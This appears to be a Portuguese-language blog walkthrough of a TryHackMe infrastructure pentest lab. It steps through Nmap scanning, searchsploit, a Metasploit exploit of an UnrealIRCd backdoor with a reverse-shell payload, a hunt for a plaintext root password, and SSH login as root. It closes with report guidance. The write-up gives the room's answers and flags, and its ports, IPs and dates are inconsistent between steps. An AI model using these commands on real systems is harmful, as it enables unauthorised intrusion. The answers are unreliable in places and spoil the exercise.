June 21, 2026
TryHackMe Guided Pentest: Infrastructure (versão em português)
Introdução
Chris Mineff
10 min read
Introdução
Teste de invasão não é uma única habilidade. É uma forma de pensar. Em um engajamento, você pode precisar pensar como um programador para entender como uma aplicação falha, como um administrador de sistemas para identificar uma configuração incorreta que não deveria estar ali, ou como um analista de SOC para compreender o que será detectado. Mas, acima de tudo, você precisa pensar como um atacante: alguém que olha para um sistema e pergunta: "O que eles deixaram passar?".
A esta altura, você já deve ter os blocos fundamentais. Esta sala vai mostrar como usá-los em conjunto, passo a passo, da forma como um pentester faria em um cenário real.
Teste de invasão em infraestrutura
Testes de invasão em infraestrutura — também chamados informalmente de infra pentests — são avaliações de segurança realizadas em dispositivos de uma rede. Esses dispositivos podem ser servidores, impressoras, firewalls ou qualquer outro equipamento com uma interface de rede acessível pela Internet ou por uma LAN.
Em uma sala posterior, Formal Penetration Testing Frameworks, veremos frameworks formais. Por enquanto, mantenha em mente esta metodologia simples, pois ela servirá como base para tudo o que você fará aqui.
Enumeração: comece do zero. O que você já sabe e o que ainda precisa descobrir?
Análise de vulnerabilidades: analise os resultados da enumeração e conecte os pontos até possíveis fraquezas.
Acesso inicial: escolha seu ataque e execute-o para obter um ponto de apoio no alvo.
Escalação de privilégios: você entrou, mas o trabalho ainda não acabou. Enumere novamente, agora de dentro do sistema, e encontre uma forma de subir privilégios.
Relatório: nada disso importa se você não conseguir comunicar os resultados. Este é o entregável real. Nesta sala, abordaremos esse conceito apenas de forma geral, já que o tema será tratado com mais profundidade na sala Writing Pentest Reports, mais adiante neste caminho.
Objetivos de aprendizagem
Usar ferramentas e técnicas para varrer um host Linux.
Pesquisar softwares vulneráveis para encontrar um exploit funcional.
Enumerar arquivos locais em Linux para escalar privilégios.
Pré-requisitos
Módulo de Metasploit.
Sala de Nmap.
Cenário
Você acabou de conquistar sua primeira vaga júnior como pentester. No seu primeiro engajamento, acompanhará o líder da sua equipe.
É segunda-feira de manhã, e seu gerente de projeto envia um e-mail informando que o maior cliente da empresa, a TryHatMe, implantou recentemente um novo dispositivo de rede em sua infraestrutura. Inicie seu AttackBox, confirme que o alvo está online e comece o pentest.
Enumeração
Por que enumerar?
Antes de tocar em qualquer exploit ou tentar qualquer senha, você precisa entender o que está analisando. A enumeração é a base de todo teste de invasão e, sem ela, você está apenas chutando.
O objetivo aqui é simples: aprender o máximo possível sobre o alvo antes de fazer qualquer movimento. Quais portas estão abertas? Quais serviços estão em execução? Quais versões estão por trás deles?
Cada informação coletada agora influencia as decisões que você tomará depois. Uma enumeração apressada leva a oportunidades perdidas e, em um engajamento real, isso pode ser a diferença entre uma descoberta relevante e apenas uma observação de rodapé no relatório.
Varredura com Nmap
Vamos varrer o alvo com o Nmap. Você já usou essa ferramenta antes, mas agora vai utilizá-la com intenção. No seu AttackBox, abra um terminal e execute o seguinte comando:
nmap -sV -sC -oN scan.txt MACHINE_IPnmap -sV -sC -oN scan.txt MACHINE_IPRelembrando:
-sV investiga as portas abertas para identificar o serviço e a versão em execução por trás delas.
-sC executa o conjunto padrão de scripts do Nmap, que coleta detalhes adicionais, como banners, métodos de autenticação suportados e outras informações.
-oN scan.txt salva a saída em um arquivo. Crie esse hábito desde cedo, e você vai agradecer a si mesmo na hora de escrever o relatório.
Depois que a varredura terminar, é hora de revisar os resultados.
Observação: ao longo dos exemplos deste cenário, endereços IP, números de portas ou versões de serviços podem ser diferentes daqueles que você irá encontrar. Siga os passos para obter resultados reais no seu próprio ambiente.
root@ip-10–80–79–108:~# nmap -sV -sC -oN scan.txt 10.65.185.9
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026–03–13 11:55 UTC
Nmap scan report for ip-10–80–143–186.eu-west-1.compute.internal (10.80.143.186)
Host is up (0.00041s latency).
Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 22:e4:61:bd:b9:9e:3b:0c:c2:96:b1:48:2b:0b:c4:4b (ECDSA) |_ 256 9a:d3:c7:4e:1e:dc:97:55:93:3a:2f:12:5f:1a:9b:8d (ED25519) 8889/tcp open irc UnrealIRCd | irc-info: | users: 1 | servers: 1 | lusers: 1 | lservers: 0 | server: irc.pentest-target.thm | version: Unreal5.1.6.1. irc.pentest-target.thm | uptime: 0 days, 0:01:46 | source ident: nmap | source host: ip-10–80–79–108.eu-west-1.compute.internal |_ error: Closing Link: keedrluoh[ip-10–80–79–108.eu-west-1.compute.internal] (Quit: keedrluoh) Service Info: Host: irc.pentest-target.thm; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Responda à pergunta abaixo:
Qual porta, além da 22, está aberta no host-alvo?
Resposta: 6667
Análise de vulnerabilidade
Conectando os pontos
Você já tem os resultados da varredura. E agora?
Não encare a saída do comando como um grande bloco de texto. Comece a fazer perguntas. A versão daquele serviço está desatualizada? Existe algum exploit conhecido para ela? Há alguma configuração incorreta? A análise de vulnerabilidades é, na prática, o processo de pegar aquilo que a enumeração revelou e perguntar: "O que pode dar errado aqui?".
A saída do Nmap mostrou duas portas abertas. O método mais simples, neste caso, é pesquisar no Google as versões encontradas junto com a palavra exploit.
Por exemplo, ao pesquisar por "OpenSSH 9.6p1 exploit", você pode encontrar resultados sobre exploits teóricos ou muito específicos de determinadas distribuições, mas nada realmente concreto. Então, provavelmente, esse caminho é um beco sem saída.
Se você já estiver confortável com os pacotes do Kali, em vez de usar o Google, pode utilizar a ferramenta searchsploit para procurar exploits. O searchsploit é uma ferramenta de linha de comando que permite pesquisar diretamente pelo terminal no banco de dados offline do Exploit-DB, que reúne exploits públicos e divulgações de vulnerabilidades.
searchsploit opensshsearchsploit openssh
Novamente, nada realmente interessante, já que as versões encontradas são diferentes da versão reportada no nosso resultado. No entanto, pesquisar pelo outro resultado da sua varredura com Nmap, usando qualquer um dos métodos, rapidamente trará resultados.
Responda à pergunta abaixo:
Use o searchsploit para encontrar um exploit para a versão do UnrealIRC do seu alvo. Qual é o valor do caminho para o script Remote Downloader/Execute?
Resposta: linux/remote/13853.pl
Acesso inicial
Obtendo um ponto de apoio
A esta altura, você já deve ter encontrado um exploit para o UnrealIRCd que explora um backdoor deixado no software. Se você ainda não encontrou, não se preocupe: isso faz parte da curva de aprendizado.
A boa notícia sobre o exploit que vamos usar é que existe um módulo do Metasploit para ele. Isso torna a exploração muito mais simples do que modificar scripts de exploit manualmente.
Primeiro, vamos iniciar o Metasploit:
msfconsolemsfconsoleEm seguida, pesquise pelo módulo de que precisamos:
search unrealircdsearch unrealircdmsf > search unrealircd
Matching Modules ================ # Name Disclosure Date Rank Check Description — — — — — — — — — — — — — — — — — — — — — — 0 exploit/unix/irc/unreal_ircd_5161_backdoor 2010–06–12 excellent No UnrealIRCD 5.1.6.1 Backdoor Command Execution
A partir dessa lista, podemos usar o exploit sugerido contra o nosso alvo.
use 0use 0Primeiro, precisamos verificar o que deve ser configurado para que esse exploit seja executado.
show optionsshow options
Como podemos ver, o único parâmetro obrigatório que ainda não foi definido é RHOSTS — indicado pela coluna Required. Portanto, podemos configurá-lo com o endereço IP da máquina-alvo.
set RHOSTS 10.65.185.9set RHOSTS 10.65.185.9Ainda precisamos de um payload para que esse exploit seja executado. Podemos listar os payloads disponíveis com o comando show payloads.
Como não sabemos muito sobre o alvo nem quais softwares estão instalados nele, o caminho mais seguro é usar um payload Unix genérico de reverse shell.
set payload cmd/unix/reverseset payload cmd/unix/reverseAgora, se executarmos show options novamente, veremos que LHOST e LPORT são obrigatórios para esse payload.
set LHOST 10.65.113.208
set LPORT 443set LHOST 10.65.113.208
set LPORT 443Com tudo configurado, podemos lançar o ataque contra a máquina-alvo usando o comando exploit.
msf exploit(unix/irc/unreal_ircd_5161_backdoor) > exploit
[*] Started reverse TCP double handler on 10.82.115.225:443
[] 10.82.184.186:8889 — Connected to 10.82.184.186:8889… :irc.pentest-target.thm NOTICE AUTH :** Looking up your hostname…
[*] 10.82.184.186:8889 — Sending backdoor command…
[*] Accepted the first client connection…
[*] Accepted the second client connection…
[*] Command: echo IpKbSZnM96KvbLgV;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets…
[*] Reading from socket B
[*] B: "IpKbSZnM96KvbLgV\r\n"
[*] Matching…
[*] A is input…
[*] Command shell session 1 opened (10.82.115.225:443 -> 10.82.184.186:53836) at 2026–03–17 07:11:47 +0000
whoami
webmaster
Depois que o exploit for concluído, você poderá ler a flag em /home/webmaster/flag.txt.
Observação: quando você captura uma reverse shell pela primeira vez, normalmente ela é uma shell "simples", sem todos os recursos de um terminal completo. Ela não possui controle de jobs, autocompletar com Tab e, principalmente, comandos como su ou sudo não funcionarão corretamente, porque exigem um TTY interativo para ler senhas com segurança.
Transformar essa shell básica em um TTY completo converte sua reverse shell em uma sessão de terminal interativa de verdade. Isso é necessário porque comandos como su e sudo precisam de um terminal real — TTY — para solicitar e ler a senha de forma segura.
Nesta sala, isso não será necessário, como veremos mais adiante.
Responda à pergunta abaixo:
Qual é a flag de nível de usuário?
Resposta: THM{Pwned-Y0ur-First-Machine}
Dica: o comando é cat /home/webmaster/flag.txt
Pós-exploração
Escalação de privilégios
Agora que obtivemos um ponto de apoio na máquina-alvo, precisamos verificar formas de escalar nossos privilégios. Na sala Linux Privilege Escalation: Basics, mais adiante neste caminho, veremos técnicas de enumeração e exploração voltadas à escalação de privilégios.
Por enquanto, vamos tentar encontrar arquivos interessantes que possam nos ajudar nas tentativas de escalação.
find / -name password* 2>/dev/nullfind / -name password* 2>/dev/nullEsse comando tentará encontrar todos os arquivos no sistema-alvo que contenham a palavra password no nome. A parte 2>/dev/null suprime mensagens de erro.
Você pode inspecionar todos esses arquivos, mas um deles se destaca dos demais: /etc/password.txt.
Podemos ler esse arquivo com:
cat /etc/password.txtcat /etc/password.txtPara nossa sorte, ele parece conter credenciais de root. Como não estamos em uma sessão de terminal interativa, não conseguiremos usar su para inserir a senha. No entanto, pela enumeração externa feita anteriormente, sabemos que há um serviço SSH em execução nesse host.
Abra um novo terminal e execute o seguinte comando:
ssh root@10.65.185.9ssh root@10.65.185.9Quando solicitado, informe a senha encontrada anteriormente em /etc/password.txt.
Parabéns, agora você comprometeu completamente essa máquina. A flag pode ser encontrada em:
/root/flag.txt/root/flag.txtResponda à pergunta abaixo:
Qual é a flag de root?
Resposta: THM{Escalat1on-D0ne}
Dica:
Abra um segundo shell e use o ssh
Relatório
Embora a parte de relatório seja abordada em uma sala posterior, alguns pontos precisam ser mencionados desde já.
Antes de tudo, tenha em mente que tudo o que o cliente verá do seu trabalho será o seu relatório. Você pode ter feito o melhor pentest da sua vida, comprometendo todos os caixas eletrônicos de um banco e se tornando administrador de domínio. Mas, se o relatório for ruim, a percepção será de que o pentest também foi ruim.
Em segundo lugar, embora cada profissional tenha seu próprio estilo de escrita, alguns elementos gerais devem estar sempre presentes:
Uma capa com título, seu nome, endereço de e-mail e controle de versão.
Um sumário — opcional.
Um resumo executivo, voltado ao gestor que solicitou o engajamento, explicando em termos não técnicos o que foi alcançado.
Um resumo técnico, voltado ao gerente de engenharia, para que ele compreenda o impacto e consiga priorizar as correções adequadamente — opcional.
Uma tabela com todas as vulnerabilidades encontradas, ordenadas por severidade, voltada tanto a gestores quanto a engenheiros, novamente com o objetivo de apoiar a priorização.
Uma seção detalhada de exploração, em que cada vulnerabilidade e seu impacto sejam explicados, os passos de exploração e as evidências sejam apresentados, e as recomendações de mitigação sejam fornecidas. Essa seção é destinada aos engenheiros que irão corrigir os achados.
Por fim, tenha orgulho do trabalho realizado. O relatório é o momento de mostrar ao cliente o melhor do seu trabalho. Não pule etapas e seja o mais detalhado possível para entregar o máximo valor.
A seguir, temos um exemplo de achado reportado para o vetor de escalação de privilégios identificado neste cenário.
Título: Senha de root armazenada em texto claro
Severidade: Crítica
Descrição: A senha do usuário root foi encontrada armazenada em texto claro no arquivo /etc/password.txt. Esse arquivo podia ser lido por usuários com poucos privilégios, permitindo que qualquer usuário com acesso à shell recuperasse as credenciais de root e comprometesse completamente o sistema.
Passos de exploração:
- Obter uma shell com baixos privilégios no sistema-alvo.
- Ler o conteúdo de
/etc/password.txtusandocat /etc/password.txt. - Usar a senha de root descoberta para escalar privilégios via
ssh root@IP.
Recomendação: Remova imediatamente o arquivo contendo a senha em texto claro e altere a senha do usuário root. Credenciais nunca devem ser armazenadas em texto claro no sistema de arquivos. Implemente uma solução de gerenciamento de segredos ou utilize mecanismos de autenticação do sistema devidamente configurados, como /etc/shadow com hashing forte. Além disso, aplique o princípio do menor privilégio para restringir as permissões de acesso a arquivos.
Responda à pergunta abaixo:
Qual seção do relatório é voltada para gerentes de engenharia?
Resposta: Technical summary
Conclusão
Pentests de infraestrutura são o mais próximo que existe do que um hacker mal-intencionado faria. Tudo começa com uma lista de IPs sobre os quais você não sabe nada, e sua missão é revelar seus segredos e encontrar seus pontos fracos.
Nesta sala, atacamos apenas um IP, mas passamos por todas as etapas.
Vimos como enumerar serviços em um host-alvo e analisar os resultados para encontrar o exploit mais adequado para o nosso alvo.
Obtivemos um ponto de apoio inicial no alvo usando um exploit público contra um serviço vulnerável.
Por fim, usamos habilidades básicas de linha de comando Linux para encontrar uma senha de root.
Para saber mais sobre as técnicas abordadas nesta sala, consulte as seguintes salas:
Metasploit: Scanning and Exploitation
Linux Privilege Escalation: Enumeration
Writing Pentest Reports